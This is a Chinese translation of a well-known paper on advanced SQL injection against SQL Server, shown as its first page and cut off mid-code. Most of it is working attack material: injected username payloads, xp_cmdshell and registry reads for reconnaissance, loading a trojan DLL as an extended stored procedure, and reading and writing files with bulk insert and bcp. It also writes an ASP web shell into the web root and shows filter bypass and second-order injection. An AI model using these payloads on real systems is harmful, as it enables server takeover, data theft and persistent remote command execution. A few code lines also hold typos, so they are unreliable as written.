|
SQL Server应用程序中的高级SQL注入 [xp_cmdshell] 许多存储过程被创建在SQLSERVER中,执行各种各样的功能,例如发送电子邮件和与注册表交互。 Xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如: Exec master..xp_cmdshell ’dir’ 将获得SQLSERVER进程的当前工作目录中的目录列表。 Exec master..xp_cmdshell ’net user’ 将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害。
[xp_regread] 另一个有用的内置存储过程是xp_regXXXX类的函数集合。 Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumkeys Xp_regenumvalues Xp_regread Xp_regremovemultistring Xp_regwrite
这些函数的使用方法举例如下: exec xp_regread HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ’nullsessionshares’ 这将确定什么样的会话连接在服务器上是可以使用的
exec xp_regenumvalues HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’ 这将显示服务器上所有SNMP团体配置。在SNMP团体很少被更改和在许多主机间共享的情况下,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。
这很容易想象到一个攻击者可以利用这些函数读取SAM,修改系统服务的配置,使它下次机器重启时启动,或在下次任何用户登陆时执行一条任意的命令。
[其他存储过程] xp_servicecontrol过程允许用户启动,停止,暂停和继续服务: exec master..xp_servicecontrol ’start’,’schedule’ exec master..xp_servicecontrol ’start’,’server’ 下表中列出了少量的其他有用的存储过程: Xp_availablemedia 显示机器上有用的驱动器 Xp_dirtree 允许获得一个目录树 Xp_enumdsn 列举服务器上的ODBC数据源 Xp_loginconfig Reveals information about the security mode of the server Xp_makecab 允许用户在服务器上创建一个压缩文件 Xp_ntsec_enumdomains 列举服务器可以进入的域 Xp_terminate_process 提供进程的进程ID,终止此进程
[Linked Servers] SQL SERVER提供了一种允许服务器连接的机制,也就是说允许一台数据库服务器上的查询能够操作另一台服务器上的数据。这个链接存放在master.sysservers表中。如果一个连接的服务器已经被设置成使用’sp_addlinkedsrvlogin’过程,当前可信的连接不用登陆就可以访问到服务器。’openquery’函数允许查询脱离服务器也可以执行。
[Custom extended stored procedures] 扩展存储过程应用程序接口是相当简单的,创建一个携带恶意代码的扩展存储过程动态连接库是一个相当简单的任务。使用命令行有几个方法可以上传动态连接库到SQL服务器上,还有其它包括了多种自动通讯的通讯机制,比如HTTP下载和FTP脚本。 一旦动态连接库文件在机器上运行即SQL服务器能够被访问——这不需要它自己是SQL服务器——攻击者就能够使用下面的命令添加扩展存储过程(这种情况下,我们的恶意存储过程就是一个能输出服务器的系统文件的小的木马):
Sp_addextendedproc ’xp_webserver’,’c:\temp\xp_foo.dll’ 在正常的方式下,这个扩展存储过程可以被运行: exec xp_webserver 一旦这个程序被运行,可以使用下面的方法将它除去: xp_dropextendedproc ’xp_webserver’
[将文本文件导入表] 使用’bulk insert’语法可以将一个文本文件插入到一个临时表中。简单地创建这个表: create table foo( line varchar(8000) ) 然后执行bulk insert操作把文件中的数据插入到表中,如: bulk insert foo from ’c:\inetpub\wwwroot\process_login.asp’
可以使用上述的错误消息技术,或者使用’union’选择,使文本文件中的数据与应用程序正常返回的数据结合,将数据取回。这个用来获取存放在数据库服务器上的脚本源代码或者ASP脚本代码是非常有用的。
[使用bcp建立文本文件] 使用’bulk insert’的相对技术可以很容易建立任意的文本文件。不幸的是这需要命令行工具。’bcp’,即’bulk copy program’ 既然 bcp可以从SQL服务进程外访问数据库,它需要登陆。这代表获得权限不是很困难,既然攻击者能建立,或者利用整体安全机制(如果服务器配置成可以使用它)。
命令行格式如下: bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar ’S’参数为执行查询的服务器,’U’参数为用户名,’P’参数为密码,这里为’foobar’
[ActiveX automation scripts in SQL SERVER] SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或javascript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情。为了阐明这鞋,这里提供了几个例子:
(1)这个例子使用’wscript.shell’对象建立了一个记事本的实例: wscript.shell example declare @o int exec sp_oacreate ’wscript.shell’,@o out exec sp_oamethod @o,’run’,NULL,’notepad.exe’ 我们可以通过指定在用户名后面来执行它: Username:’; declare @o int exec sp_oacreate ’wscript.shell’,@o out exec sp_oamethod @o,’run’,NULL,’notepad.exe’—
(2)这个例子使用’scripting.filesystemobject’对象读一个已知的文本文件: --scripting.filesystemobject example – read a known file declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate ’scripting.filesystemobject’, @o out exec sp_oamethod @o, ’opentextfile’, @f out, ’c:\boot.ini’, 1 exec @ret=sp_oamethod @f,’readline’,@line out while(@ret=0) begin print @line exec @ret=sp_oamethod @f,’readline’,@line out end
(3)这个例子创建了一个能执行通过提交到的任何命令: -- scripting.filesystemobject example – create a ’run this’.asp file declare @o int,@f int,@t int,@ret int exec sp_oacreate ’scripting.filesystemobject’,@o out exec sp_oamethod @o,’createtextfile’,@f out,’c:\inetpub\wwwroot\foo.asp’,1 exec @ret=sp_oamethod @f,’writeline’,NULL,’<% set o=server.createobject("wscript.shell"):o.run(request.querystring("cmd")) %>’ 需要指出的是如果运行的环境是WIN NT4+IIS4平台上,那么通过这个程序运行的命令是以系统权限运行的。在IIS5中,它以一个比较低的权限IWAM_XXXaccount运行。
(4)这些例子阐述了这个技术的适用性;它可以使用’speech.voicetext’对象引起SQL SERVER发声: declare @o int,@ret int exec sp_oacreate ’speech.voicetext’,@o out exec sp_oamethod @o,’register’,NULL,’foo’,’bar’ exec sp_oasetproperty @o,’speed’,150 exec sp_oamethod @o,’speak’,NULL,’all your sequel servers are belong to,us’,528 waitfor delay ’00:00:05’ 我们可以在我们假定的例子中,通过指定在用户名后面来执行它(注意这个例子不仅仅是注入一个脚本,同时以admin权限登陆到应用程序): Username:admin’;declare @o int,@ret int exec sp_oacreate ’speech.voicetext’,@o out exec sp_oamethod @o,’register’,NULL,’foo’,’bar’ exec sp_oasetproperty @o,’speed’,150 exec sp_oamethod @o,’speak’,NULL,’all your sequel servers are belong to us’,528 waitfor delay ’00:00:05’--
[存储过程] 传说如果一个ASP应用程序在数据库中使用了存储过程,那么SQL注入是不可能的。这句话只对了一半,这要看ASP脚本中调用这个存储过程的方式。 本质上,如果一个有参数的查询被执行 ,并且用户提供的参数通过安全检查才放入到查询中,那么SQL注入明显是不可能发生的。但是如果攻击者努力影响所执行查询语句的非数据部分,这样他们就可能能够控制数据库。 比较好的常规的标准是: ?如果一个ASP脚本能够产生一个被提交的SQL查询字符串,即使它使用了存储过程也是能够引起SQL注入的弱点。 ?如果一个ASP脚本使用一个过程对象限制参数的往存储过程中分配(例如ADO的用于参数收集的command对象),那么通过这个对象的执行,它一般是安全的。 明显地,既然新的攻击技术始终地被发现,好的惯例仍然是验证用户所有的输入。
为了阐明存储过程的查询注入,执行以下语句: sp_who ’1’ select * from sysobjects or sp_who ’1’;select * from sysobjects 任何一种方法,在存储过程后,追加的查询依然会执行。
[高级SQL注入] 通常情况下,一个web应用程序将会过滤单引号(或其他符号),或者限定用户提交的数据的长度。 在这部分,我们讨论一些能帮助攻击者饶过那些明显防范SQL注入,躲避被记录的技术。
[没有单引号的字符串] 有时候开发人员会通过过滤所有的单引号来保护应用程序,他们可能使用VBScript中的replace函数或类似: function escape(input) input=replace(input,"’","’’") escape=input end function 无可否认地这防止了我们所有例子的攻击,再除去’;’符号也可以帮很多忙。但是在一个大型的应用程序中,好象个别值期望用户输入的是数字。这些值没有被限定,因此为攻击者提供了一个SQL注入的弱点。 如果攻击者想不使用单引号产生一个字符串值,他可以使用char函数,例如: insert into users values(666, char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), 0xffff) 这就是一个能够往表中插入字符串的不包含单引号的查询。 淡然,如果攻击者不介意使用一个数字用户名和密码,下面的语句也同样会起作用: insert into users values(667, 123, 123, oxffff) SQL SERVER自动地将整型转化为varchar型的值。
[Second-Order SQL Injection] 即使应用程序总是过滤单引号,攻击者依然能够注入SQL同样通过应用程序使数据库中的数据重复使用。 例如,攻击者可能利用下面的信息在应用程序中注册: Username:admin’— Password:password 应用程序正确过滤了单引号,返回了一个类似这样的insert语句: insert into users values(123,’admin’’—’,’password’,0xffff) 我们假设应用程序允许用户修改自己的密码。这个ASP脚本程序首先保证用户设置新密码前拥有正确的旧密码。代码如下: username = escape( Request.form("username") ); oldpassword = escape( Request.form("oldpassword") ); newpassword = escape( Request.form("newpassword") [1] [2] 下一页 [Access]sql随机抽取记录 [Access]ASP&SQL让select查询结果随机排序的实现方法 [聊天工具]企业邮件系统的利器----FoxMail Server [系统软件]OPEN SERVER 5.0.5安装EXP300阵列柜 [系统软件]SQL语句性能优化--LECCO SQL Expert [系统软件]关于Windows2000Server的灾难恢复 [常用软件][网络]下载服务革命性风暴Poco Server评测 [C语言系列]动态创建SQL Server数据库、表、存储过程等架构信… [C语言系列]SQL Server到DB2连接服务器的实现 [C语言系列]SQL Server到SYBASE连接服务器的实现
|